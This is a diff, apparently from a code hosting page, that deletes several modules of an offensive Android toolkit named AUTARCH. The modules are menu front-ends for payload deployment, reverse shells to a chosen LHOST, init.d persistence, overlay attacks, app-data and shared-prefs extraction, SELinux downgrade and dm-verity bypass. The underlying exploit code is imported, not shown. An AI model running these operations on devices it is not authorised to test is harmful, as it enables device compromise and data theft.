ssid = input(" Hotspot SSID [AUTARCH_AP]: ").strip() or 'AUTARCH_AP'
|
|
||||||
pwd = input(" Password [autarch123]: ").strip() or 'autarch123'
|
|
||||||
r = m.enable_hotspot(s, ssid, pwd)
|
|
||||||
print(f" Hotspot: {ssid}")
|
|
||||||
elif choice == '28':
|
|
||||||
iface = input(" Interface [any]: ").strip() or 'any'
|
|
||||||
dur = input(" Duration seconds [30]: ").strip()
|
|
||||||
filt = input(" Filter (optional): ").strip()
|
|
||||||
r = m.capture_traffic(s, iface, int(dur) if dur else 30, filt)
|
|
||||||
if r['success']:
|
|
||||||
print(f" PCAP saved: {r['path']} ({r['size']} bytes)")
|
|
||||||
else:
|
|
||||||
print(f" Error: {r['error']}")
|
|
||||||
elif choice == '29':
|
|
||||||
lp = input(" Local port: ").strip()
|
|
||||||
rp = input(" Remote port: ").strip()
|
|
||||||
if lp and rp:
|
|
||||||
r = m.port_forward(s, lp, rp)
|
|
||||||
print(f" Forward: localhost:{lp} -> device:{rp}")
|
|
||||||
elif choice == '30':
|
|
||||||
port = input(" Port [5555]: ").strip() or '5555'
|
|
||||||
r = m.enable_adb_wifi(s, int(port))
|
|
||||||
print(f" ADB WiFi: {r.get('connect_cmd', '?')}")
|
|
||||||
# App Manipulation
|
|
||||||
elif choice == '40':
|
|
||||||
pkg = input(" Package: ").strip()
|
|
||||||
perm = input(" Permission (e.g. android.permission.CAMERA): ").strip()
|
|
||||||
if pkg and perm:
|
|
||||||
r = m.grant_permission(s, pkg, perm)
|
|
||||||
print(f" {r.get('output', 'Done')}")
|
|
||||||
elif choice == '41':
|
|
||||||
pkg = input(" Package: ").strip()
|
|
||||||
perm = input(" Permission: ").strip()
|
|
||||||
if pkg and perm:
|
|
||||||
r = m.revoke_permission(s, pkg, perm)
|
|
||||||
print(f" {r.get('output', 'Done')}")
|
|
||||||
elif choice == '42':
|
|
||||||
pkg = input(" Package: ").strip()
|
|
||||||
if pkg:
|
|
||||||
r = m.list_permissions(s, pkg)
|
|
||||||
print(f" Granted ({len(r['granted'])}):")
|
|
||||||
for p in r['granted'][:20]:
|
|
||||||
print(f" + {p}")
|
|
||||||
print(f" Denied ({len(r['denied'])}):")
|
|
||||||
for p in r['denied'][:10]:
|
|
||||||
print(f" - {p}")
|
|
||||||
elif choice == '43':
|
|
||||||
pkg = input(" Package to disable: ").strip()
|
|
||||||
if pkg:
|
|
||||||
r = m.disable_app(s, pkg)
|
|
||||||
print(f" {r.get('output', 'Done')}")
|
|
||||||
elif choice == '44':
|
|
||||||
pkg = input(" Package to enable: ").strip()
|
|
||||||
if pkg:
|
|
||||||
r = m.enable_app(s, pkg)
|
|
||||||
print(f" {r.get('output', 'Done')}")
|
|
||||||
elif choice == '45':
|
|
||||||
pkg = input(" Package to clear: ").strip()
|
|
||||||
if pkg:
|
|
||||||
confirm = input(f" Clear ALL data for {pkg}? [y/N]: ").strip().lower()
|
|
||||||
if confirm == 'y':
|
|
||||||
r = m.clear_app_data(s, pkg)
|
|
||||||
print(f" {r.get('output', 'Done')}")
|
|
||||||
elif choice == '46':
|
|
||||||
pkg = input(" Package to force stop: ").strip()
|
|
||||||
if pkg:
|
|
||||||
m.force_stop_app(s, pkg)
|
|
||||||
print(f" Force stopped {pkg}")
|
|
||||||
elif choice == '47':
|
|
||||||
pkg = input(" Package to launch: ").strip()
|
|
||||||
if pkg:
|
|
||||||
m.launch_app(s, pkg)
|
|
||||||
print(f" Launched {pkg}")
|
|
||||||
elif choice == '48':
|
|
||||||
comp = input(" Component (com.pkg/.Activity): ").strip()
|
|
||||||
extras = input(" Extras (optional am flags): ").strip()
|
|
||||||
if comp:
|
|
||||||
r = m.launch_activity(s, comp, extras)
|
|
||||||
print(f" {r.get('output', 'Done')}")
|
|
||||||
elif choice == '49':
|
|
||||||
action = input(" Broadcast action: ").strip()
|
|
||||||
extras = input(" Extras (optional): ").strip()
|
|
||||||
if action:
|
|
||||||
r = m.send_broadcast(s, action, extras)
|
|
||||||
print(f" {r.get('output', 'Done')}")
|
|
||||||
elif choice == '50':
|
|
||||||
uri = input(" Content URI: ").strip()
|
|
||||||
proj = input(" Projection (col1:col2 or Enter): ").strip()
|
|
||||||
where = input(" Where clause (or Enter): ").strip()
|
|
||||||
if uri:
|
|
||||||
r = m.content_query(s, uri, proj, where)
|
|
||||||
print(f" {r['count']} rows:")
|
|
||||||
for row in r['rows'][:20]:
|
|
||||||
print(f" {row}")
|
|
||||||
elif choice == '51':
|
|
||||||
pkg = input(" Package for overlay: ").strip()
|
|
||||||
if pkg:
|
|
||||||
m.overlay_attack_enable(s, pkg)
|
|
||||||
print(f" Overlay enabled for {pkg}")
|
|
||||||
# System
|
|
||||||
elif choice == '60':
|
|
||||||
r = m.set_selinux(s, 'permissive')
|
|
||||||
print(f" SELinux: {r.get('mode', '?')}")
|
|
||||||
elif choice == '61':
|
|
||||||
r = m.remount_system(s)
|
|
||||||
print(f" /system remounted {r.get('mode')}: {r.get('output','')}")
|
|
||||||
elif choice == '62':
|
|
||||||
dur = input(" Scan duration [10]: ").strip()
|
|
||||||
r = m.logcat_sensitive(s, int(dur) if dur else 10)
|
|
||||||
print(f" Found {r['count']} sensitive lines:")
|
|
||||||
for line in r['lines'][:20]:
|
|
||||||
print(f" {line[:120]}")
|
|
||||||
elif choice == '63':
|
|
||||||
path = input(" Frida server binary path: ").strip()
|
|
||||||
if path:
|
|
||||||
r = m.deploy_frida(s, path)
|
|
||||||
if r['success']:
|
|
||||||
print(f" Frida running, PID: {r['pid']}")
|
|
||||||
else:
|
|
||||||
print(f" Error: {r.get('error')}")
|
|
||||||
elif choice == '64':
|
|
||||||
r = m.get_running_processes(s)
|
|
||||||
print(f" {r['count']} processes:")
|
|
||||||
for p in r['processes'][:30]:
|
|
||||||
print(f" {p.get('pid','?'):>6} {p.get('user',''):>12} {p.get('name','')}")
|
|
||||||
elif choice == '65':
|
|
||||||
r = m.get_open_ports(s)
|
|
||||||
print(f" {r['count']} listening ports:")
|
|
||||||
for p in r['ports']:
|
|
||||||
print(f" {p}")
|
|
||||||
elif choice == '66':
|
|
||||||
ns = input(" Namespace (system/secure/global): ").strip()
|
|
||||||
key = input(" Key: ").strip()
|
|
||||||
val = input(" Value: ").strip()
|
|
||||||
if ns and key and val:
|
|
||||||
r = m.modify_setting(s, ns, key, val)
|
|
||||||
print(f" {ns}.{key} = {r.get('value','?')}")
|
|
||||||
else:
|
|
||||||
print(" Invalid choice.")
|
|
||||||
|
|
||||||
|
|
||||||
def run():
|
|
||||||
m = AndroidAdvanced()
|
|
||||||
m.run_interactive()
|
|
||||||
@@ -1,165 +0,0 @@
|
|||||||
"""
|
|
||||||
Android App Extraction - Pull APKs, app data, shared preferences
|
|
||||||
"""
|
|
||||||
|
|
||||||
DESCRIPTION = "Android app extraction (APK pull, app data, shared prefs)"
|
|
||||||
AUTHOR = "AUTARCH"
|
|
||||||
VERSION = "1.0"
|
|
||||||
CATEGORY = "hardware"
|
|
||||||
|
|
||||||
import sys
|
|
||||||
from pathlib import Path
|
|
||||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
|
||||||
|
|
||||||
|
|
||||||
class AndroidApps:
|
|
||||||
"""Interactive menu for Android app extraction."""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
from core.android_exploit import get_exploit_manager
|
|
||||||
from core.hardware import get_hardware_manager
|
|
||||||
self.mgr = get_exploit_manager()
|
|
||||||
self.hw = get_hardware_manager()
|
|
||||||
self.serial = None
|
|
||||||
|
|
||||||
def _select_device(self):
|
|
||||||
devices = self.hw.adb_devices()
|
|
||||||
if not devices:
|
|
||||||
print(" No ADB devices connected.")
|
|
||||||
return
|
|
||||||
if len(devices) == 1:
|
|
||||||
self.serial = devices[0]['serial']
|
|
||||||
print(f" Selected: {self.serial}")
|
|
||||||
return
|
|
||||||
print("\n Select device:")
|
|
||||||
for i, d in enumerate(devices, 1):
|
|
||||||
model = d.get('model', '')
|
|
||||||
print(f" {i}) {d['serial']} {model}")
|
|
||||||
try:
|
|
||||||
choice = int(input(" > ").strip())
|
|
||||||
if 1 <= choice <= len(devices):
|
|
||||||
self.serial = devices[choice - 1]['serial']
|
|
||||||
except (ValueError, EOFError, KeyboardInterrupt):
|
|
||||||
pass
|
|
||||||
|
|
||||||
def _ensure_device(self):
|
|
||||||
if not self.serial:
|
|
||||||
self._select_device()
|
|
||||||
return self.serial is not None
|
|
||||||
|
|
||||||
def show_menu(self):
|
|
||||||
print(f"\n{'='*50}")
|
|
||||||
print(" App Extraction")
|
|
||||||
print(f"{'='*50}")
|
|
||||||
print(f" Device: {self.serial or '(none)'}")
|
|
||||||
print()
|
|
||||||
print(" [1] List Packages")
|
|
||||||
print(" [2] Pull APK")
|
|
||||||
print(" [3] Pull App Data (root/debuggable)")
|
|
||||||
print(" [4] Extract Shared Prefs")
|
|
||||||
print(" [s] Select Device")
|
|
||||||
print(" [0] Back")
|
|
||||||
print()
|
|
||||||
|
|
||||||
def list_packages(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
inc = input(" Include system apps? [y/N]: ").strip().lower() == 'y'
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
result = self.mgr.list_packages(self.serial, include_system=inc)
|
|
||||||
if 'error' in result:
|
|
||||||
print(f" Error: {result['error']}")
|
|
||||||
return
|
|
||||||
print(f"\n Found {result['count']} packages:")
|
|
||||||
for pkg in result['packages']:
|
|
||||||
flag = ' [SYS]' if pkg['is_system'] else ''
|
|
||||||
print(f" {pkg['package']}{flag}")
|
|
||||||
print(f" {pkg['path']}")
|
|
||||||
|
|
||||||
def pull_apk(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
package = input(" Package name: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not package:
|
|
||||||
return
|
|
||||||
print(f" Pulling APK for {package}...")
|
|
||||||
result = self.mgr.pull_apk(self.serial, package)
|
|
||||||
if result['success']:
|
|
||||||
size_mb = result['size'] / (1024 * 1024)
|
|
||||||
print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)")
|
|
||||||
else:
|
|
||||||
print(f" Error: {result['error']}")
|
|
||||||
|
|
||||||
def pull_app_data(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
package = input(" Package name: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not package:
|
|
||||||
return
|
|
||||||
print(f" Pulling app data for {package}...")
|
|
||||||
result = self.mgr.pull_app_data(self.serial, package)
|
|
||||||
if result['success']:
|
|
||||||
print(f" Output dir: {result['output_dir']}")
|
|
||||||
for f in result['files']:
|
|
||||||
print(f" {f}")
|
|
||||||
else:
|
|
||||||
print(" No data extracted (need debuggable app or root).")
|
|
||||||
|
|
||||||
def extract_prefs(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
package = input(" Package name: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not package:
|
|
||||||
return
|
|
||||||
print(f" Extracting shared prefs for {package}...")
|
|
||||||
result = self.mgr.extract_shared_prefs(self.serial, package)
|
|
||||||
if result['success']:
|
|
||||||
print(f" Found {result['count']} pref files:")
|
|
||||||
for name, content in result['prefs'].items():
|
|
||||||
print(f"\n --- {name} ---")
|
|
||||||
# Show first 20 lines
|
|
||||||
lines = content.split('\n')[:20]
|
|
||||||
for line in lines:
|
|
||||||
print(f" {line}")
|
|
||||||
if len(content.split('\n')) > 20:
|
|
||||||
print(" ...")
|
|
||||||
else:
|
|
||||||
print(f" Error: {result.get('error', 'Failed')}")
|
|
||||||
|
|
||||||
def run_interactive(self):
|
|
||||||
while True:
|
|
||||||
self.show_menu()
|
|
||||||
try:
|
|
||||||
choice = input(" Select > ").strip().lower()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
break
|
|
||||||
if choice == '0':
|
|
||||||
break
|
|
||||||
elif choice == '1':
|
|
||||||
self.list_packages()
|
|
||||||
elif choice == '2':
|
|
||||||
self.pull_apk()
|
|
||||||
elif choice == '3':
|
|
||||||
self.pull_app_data()
|
|
||||||
elif choice == '4':
|
|
||||||
self.extract_prefs()
|
|
||||||
elif choice == 's':
|
|
||||||
self._select_device()
|
|
||||||
else:
|
|
||||||
print(" Invalid choice.")
|
|
||||||
|
|
||||||
|
|
||||||
def run():
|
|
||||||
m = AndroidApps()
|
|
||||||
m.run_interactive()
|
|
||||||
@@ -1,203 +0,0 @@
|
|||||||
"""
|
|
||||||
Android Boot / Recovery Exploit - Bootloader unlock, flash, dm-verity
|
|
||||||
"""
|
|
||||||
|
|
||||||
DESCRIPTION = "Android boot/recovery exploits (flash, unlock, verity bypass)"
|
|
||||||
AUTHOR = "AUTARCH"
|
|
||||||
VERSION = "1.0"
|
|
||||||
CATEGORY = "offense"
|
|
||||||
|
|
||||||
import sys
|
|
||||||
from pathlib import Path
|
|
||||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
|
||||||
|
|
||||||
|
|
||||||
class AndroidBoot:
|
|
||||||
"""Interactive menu for boot/recovery operations."""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
from core.android_exploit import get_exploit_manager
|
|
||||||
from core.hardware import get_hardware_manager
|
|
||||||
self.mgr = get_exploit_manager()
|
|
||||||
self.hw = get_hardware_manager()
|
|
||||||
self.serial = None
|
|
||||||
|
|
||||||
def _select_device(self):
|
|
||||||
"""Select from fastboot devices (boot ops need fastboot mostly)."""
|
|
||||||
fb_devices = self.hw.fastboot_devices()
|
|
||||||
adb_devices = self.hw.adb_devices()
|
|
||||||
all_devs = []
|
|
||||||
for d in fb_devices:
|
|
||||||
all_devs.append({'serial': d['serial'], 'mode': 'fastboot'})
|
|
||||||
for d in adb_devices:
|
|
||||||
all_devs.append({'serial': d['serial'], 'mode': 'adb'})
|
|
||||||
if not all_devs:
|
|
||||||
print(" No devices found (ADB or fastboot).")
|
|
||||||
return
|
|
||||||
if len(all_devs) == 1:
|
|
||||||
self.serial = all_devs[0]['serial']
|
|
||||||
print(f" Selected: {self.serial} ({all_devs[0]['mode']})")
|
|
||||||
return
|
|
||||||
print("\n Select device:")
|
|
||||||
for i, d in enumerate(all_devs, 1):
|
|
||||||
print(f" {i}) {d['serial']} [{d['mode']}]")
|
|
||||||
try:
|
|
||||||
choice = int(input(" > ").strip())
|
|
||||||
if 1 <= choice <= len(all_devs):
|
|
||||||
self.serial = all_devs[choice - 1]['serial']
|
|
||||||
except (ValueError, EOFError, KeyboardInterrupt):
|
|
||||||
pass
|
|
||||||
|
|
||||||
def _ensure_device(self):
|
|
||||||
if not self.serial:
|
|
||||||
self._select_device()
|
|
||||||
return self.serial is not None
|
|
||||||
|
|
||||||
def show_menu(self):
|
|
||||||
print(f"\n{'='*50}")
|
|
||||||
print(" Boot / Recovery Exploit")
|
|
||||||
print(f"{'='*50}")
|
|
||||||
print(" !! WARNING: Can BRICK device / WIPE data !!")
|
|
||||||
print(f" Device: {self.serial or '(none)'}")
|
|
||||||
print()
|
|
||||||
print(" [1] Bootloader Info")
|
|
||||||
print(" [2] Backup Boot Image")
|
|
||||||
print(" [3] Unlock Bootloader [WIPES DATA]")
|
|
||||||
print(" [4] Flash Custom Recovery")
|
|
||||||
print(" [5] Flash Boot Image")
|
|
||||||
print(" [6] Disable dm-verity/AVB")
|
|
||||||
print(" [7] Temp Boot (no flash)")
|
|
||||||
print(" [s] Select Device")
|
|
||||||
print(" [0] Back")
|
|
||||||
print()
|
|
||||||
|
|
||||||
def bootloader_info(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
print(" Querying bootloader...")
|
|
||||||
info = self.mgr.get_bootloader_info(self.serial)
|
|
||||||
if not info:
|
|
||||||
print(" No info returned (device might not be in fastboot mode).")
|
|
||||||
return
|
|
||||||
print(f"\n Bootloader Variables:")
|
|
||||||
for k, v in info.items():
|
|
||||||
print(f" {k:<25} {v}")
|
|
||||||
|
|
||||||
def backup_boot(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
print(" Backing up boot image (requires root via ADB)...")
|
|
||||||
result = self.mgr.backup_boot_image(self.serial)
|
|
||||||
if result['success']:
|
|
||||||
size_mb = result['size'] / (1024 * 1024)
|
|
||||||
print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)")
|
|
||||||
else:
|
|
||||||
print(f" Error: {result.get('error', 'Failed')}")
|
|
||||||
|
|
||||||
def unlock_bootloader(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
print("\n !! WARNING: This will WIPE ALL DATA on the device !!")
|
|
||||||
try:
|
|
||||||
confirm = input(" Type 'YES' to proceed: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if confirm != 'YES':
|
|
||||||
print(" Cancelled.")
|
|
||||||
return
|
|
||||||
print(" Unlocking bootloader...")
|
|
||||||
result = self.mgr.unlock_bootloader(self.serial)
|
|
||||||
if result['success']:
|
|
||||||
print(" Bootloader unlocked (or confirmation pending on device).")
|
|
||||||
else:
|
|
||||||
print(f" Result: {result.get('output', 'Unknown')}")
|
|
||||||
|
|
||||||
def flash_recovery(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
img = input(" Recovery image path: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not img:
|
|
||||||
return
|
|
||||||
print(" Flashing recovery...")
|
|
||||||
result = self.mgr.flash_recovery(self.serial, img)
|
|
||||||
if result.get('success'):
|
|
||||||
print(f" Flash started (op: {result.get('op_id', '?')})")
|
|
||||||
else:
|
|
||||||
print(f" Error: {result.get('error', 'Failed')}")
|
|
||||||
|
|
||||||
def flash_boot(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
img = input(" Boot image path: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not img:
|
|
||||||
return
|
|
||||||
print(" Flashing boot...")
|
|
||||||
result = self.mgr.flash_boot(self.serial, img)
|
|
||||||
if result.get('success'):
|
|
||||||
print(f" Flash started (op: {result.get('op_id', '?')})")
|
|
||||||
else:
|
|
||||||
print(f" Error: {result.get('error', 'Failed')}")
|
|
||||||
|
|
||||||
def disable_verity(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
vbmeta = input(" vbmeta image path (optional, Enter to skip): ").strip() or None
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
print(" Disabling dm-verity/AVB...")
|
|
||||||
result = self.mgr.disable_verity(self.serial, vbmeta)
|
|
||||||
print(f" Result: {result.get('output', 'Done')}")
|
|
||||||
print(f" Method: {result.get('method', '?')}")
|
|
||||||
|
|
||||||
def temp_boot(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
img = input(" Boot image path: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not img:
|
|
||||||
return
|
|
||||||
print(" Temp-booting image (no permanent flash)...")
|
|
||||||
result = self.mgr.boot_temp(self.serial, img)
|
|
||||||
if result['success']:
|
|
||||||
print(" Device booting from temporary image.")
|
|
||||||
else:
|
|
||||||
print(f" Error: {result.get('output', 'Failed')}")
|
|
||||||
|
|
||||||
def run_interactive(self):
|
|
||||||
while True:
|
|
||||||
self.show_menu()
|
|
||||||
try:
|
|
||||||
choice = input(" Select > ").strip().lower()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
break
|
|
||||||
if choice == '0':
|
|
||||||
break
|
|
||||||
actions = {
|
|
||||||
'1': self.bootloader_info,
|
|
||||||
'2': self.backup_boot,
|
|
||||||
'3': self.unlock_bootloader,
|
|
||||||
'4': self.flash_recovery,
|
|
||||||
'5': self.flash_boot,
|
|
||||||
'6': self.disable_verity,
|
|
||||||
'7': self.temp_boot,
|
|
||||||
's': self._select_device,
|
|
||||||
}
|
|
||||||
action = actions.get(choice)
|
|
||||||
if action:
|
|
||||||
action()
|
|
||||||
else:
|
|
||||||
print(" Invalid choice.")
|
|
||||||
|
|
||||||
|
|
||||||
def run():
|
|
||||||
m = AndroidBoot()
|
|
||||||
m.run_interactive()
|
|
||||||
@@ -1,191 +0,0 @@
|
|||||||
"""
|
|
||||||
Android Payload Deployment - Deploy binaries, reverse shells, persistence
|
|
||||||
"""
|
|
||||||
|
|
||||||
DESCRIPTION = "Android payload deployment (binaries, reverse shells, persistence)"
|
|
||||||
AUTHOR = "AUTARCH"
|
|
||||||
VERSION = "1.0"
|
|
||||||
CATEGORY = "offense"
|
|
||||||
|
|
||||||
import sys
|
|
||||||
from pathlib import Path
|
|
||||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
|
||||||
|
|
||||||
|
|
||||||
class AndroidPayload:
|
|
||||||
"""Interactive menu for Android payload deployment."""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
from core.android_exploit import get_exploit_manager
|
|
||||||
from core.hardware import get_hardware_manager
|
|
||||||
self.mgr = get_exploit_manager()
|
|
||||||
self.hw = get_hardware_manager()
|
|
||||||
self.serial = None
|
|
||||||
|
|
||||||
def _select_device(self):
|
|
||||||
devices = self.hw.adb_devices()
|
|
||||||
if not devices:
|
|
||||||
print(" No ADB devices connected.")
|
|
||||||
return
|
|
||||||
if len(devices) == 1:
|
|
||||||
self.serial = devices[0]['serial']
|
|
||||||
print(f" Selected: {self.serial}")
|
|
||||||
return
|
|
||||||
print("\n Select device:")
|
|
||||||
for i, d in enumerate(devices, 1):
|
|
||||||
model = d.get('model', '')
|
|
||||||
print(f" {i}) {d['serial']} {model}")
|
|
||||||
try:
|
|
||||||
choice = int(input(" > ").strip())
|
|
||||||
if 1 <= choice <= len(devices):
|
|
||||||
self.serial = devices[choice - 1]['serial']
|
|
||||||
except (ValueError, EOFError, KeyboardInterrupt):
|
|
||||||
pass
|
|
||||||
|
|
||||||
def _ensure_device(self):
|
|
||||||
if not self.serial:
|
|
||||||
self._select_device()
|
|
||||||
return self.serial is not None
|
|
||||||
|
|
||||||
def show_menu(self):
|
|
||||||
print(f"\n{'='*50}")
|
|
||||||
print(" Payload Deployment")
|
|
||||||
print(f"{'='*50}")
|
|
||||||
print(f" Device: {self.serial or '(none)'}")
|
|
||||||
print()
|
|
||||||
print(" [1] Deploy Binary")
|
|
||||||
print(" [2] Execute Payload")
|
|
||||||
print(" [3] Setup Reverse Shell")
|
|
||||||
print(" [4] Install Persistence [ROOT]")
|
|
||||||
print(" [5] List Running Payloads")
|
|
||||||
print(" [6] Kill Payload")
|
|
||||||
print(" [s] Select Device")
|
|
||||||
print(" [0] Back")
|
|
||||||
print()
|
|
||||||
|
|
||||||
def deploy_binary(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
local = input(" Local binary path: ").strip()
|
|
||||||
remote = input(" Remote path [/data/local/tmp/]: ").strip() or '/data/local/tmp/'
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not local:
|
|
||||||
return
|
|
||||||
print(" Deploying...")
|
|
||||||
result = self.mgr.deploy_binary(self.serial, local, remote)
|
|
||||||
if result['success']:
|
|
||||||
print(f" Deployed to: {result['remote_path']}")
|
|
||||||
else:
|
|
||||||
print(f" Error: {result['error']}")
|
|
||||||
|
|
||||||
def execute_payload(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
remote = input(" Remote path: ").strip()
|
|
||||||
args = input(" Arguments []: ").strip()
|
|
||||||
bg = input(" Background? [Y/n]: ").strip().lower() != 'n'
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not remote:
|
|
||||||
return
|
|
||||||
print(" Executing...")
|
|
||||||
result = self.mgr.execute_payload(self.serial, remote, args=args, background=bg)
|
|
||||||
if result['success']:
|
|
||||||
if result['background']:
|
|
||||||
print(f" Running in background, PID: {result['pid']}")
|
|
||||||
else:
|
|
||||||
print(f" Output:\n{result['output']}")
|
|
||||||
else:
|
|
||||||
print(f" Error: {result.get('output', 'Failed')}")
|
|
||||||
|
|
||||||
def reverse_shell(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
lhost = input(" LHOST (your IP): ").strip()
|
|
||||||
lport = input(" LPORT: ").strip()
|
|
||||||
print(" Methods: nc, bash, python")
|
|
||||||
method = input(" Method [nc]: ").strip() or 'nc'
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not lhost or not lport:
|
|
||||||
return
|
|
||||||
print(f" Setting up {method} reverse shell to {lhost}:{lport}...")
|
|
||||||
result = self.mgr.setup_reverse_shell(self.serial, lhost, int(lport), method)
|
|
||||||
if result['success']:
|
|
||||||
print(f" Reverse shell initiated ({method})")
|
|
||||||
print(f" Catch with: nc -lvnp {lport}")
|
|
||||||
else:
|
|
||||||
print(f" Error: {result.get('error', 'Failed')}")
|
|
||||||
|
|
||||||
def persistence(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
method = input(" Method [init.d]: ").strip() or 'init.d'
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
print(" Installing persistence (requires root)...")
|
|
||||||
result = self.mgr.install_persistence(self.serial, method)
|
|
||||||
if result['success']:
|
|
||||||
print(f" Installed at: {result['path']}")
|
|
||||||
else:
|
|
||||||
print(f" Error: {result.get('error', 'Failed')}")
|
|
||||||
|
|
||||||
def list_payloads(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
result = self.mgr.list_running_payloads(self.serial)
|
|
||||||
if not result['success']:
|
|
||||||
print(f" Error: {result.get('error', 'Failed')}")
|
|
||||||
return
|
|
||||||
if not result['payloads']:
|
|
||||||
print(" No running payloads found in /data/local/tmp/")
|
|
||||||
return
|
|
||||||
print(f"\n Found {result['count']} running payloads:")
|
|
||||||
for p in result['payloads']:
|
|
||||||
print(f" PID {p['pid']}: {p['command']}")
|
|
||||||
|
|
||||||
def kill_payload(self):
|
|
||||||
if not self._ensure_device():
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
pid = input(" PID to kill: ").strip()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
return
|
|
||||||
if not pid:
|
|
||||||
return
|
|
||||||
result = self.mgr.kill_payload(self.serial, pid)
|
|
||||||
print(f" Kill signal sent to PID {pid}")
|
|
||||||
|
|
||||||
def run_interactive(self):
|
|
||||||
while True:
|
|
||||||
self.show_menu()
|
|
||||||
try:
|
|
||||||
choice = input(" Select > ").strip().lower()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
break
|
|
||||||
if choice == '0':
|
|
||||||
break
|
|
||||||
actions = {
|
|
||||||
'1': self.deploy_binary,
|
|
||||||
'2': self.execute_payload,
|
|
||||||
'3': self.reverse_shell,
|
|
||||||
'4': self.persistence,
|
|
||||||
'5': self.list_payloads,
|
|
||||||
'6': self.kill_payload,
|
|
||||||
's': self._select_device,
|
|
||||||
}
|
|
||||||
action = actions.get(choice)
|
|
||||||
if action:
|
|
||||||
action()
|
|
||||||
else:
|
|
||||||
print(" Invalid choice.")
|
|
||||||
|
|
||||||
|
|
||||||
def run():
|
|
||||||
m = AndroidPayload()
|
|
||||||
m.run_interactive()
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user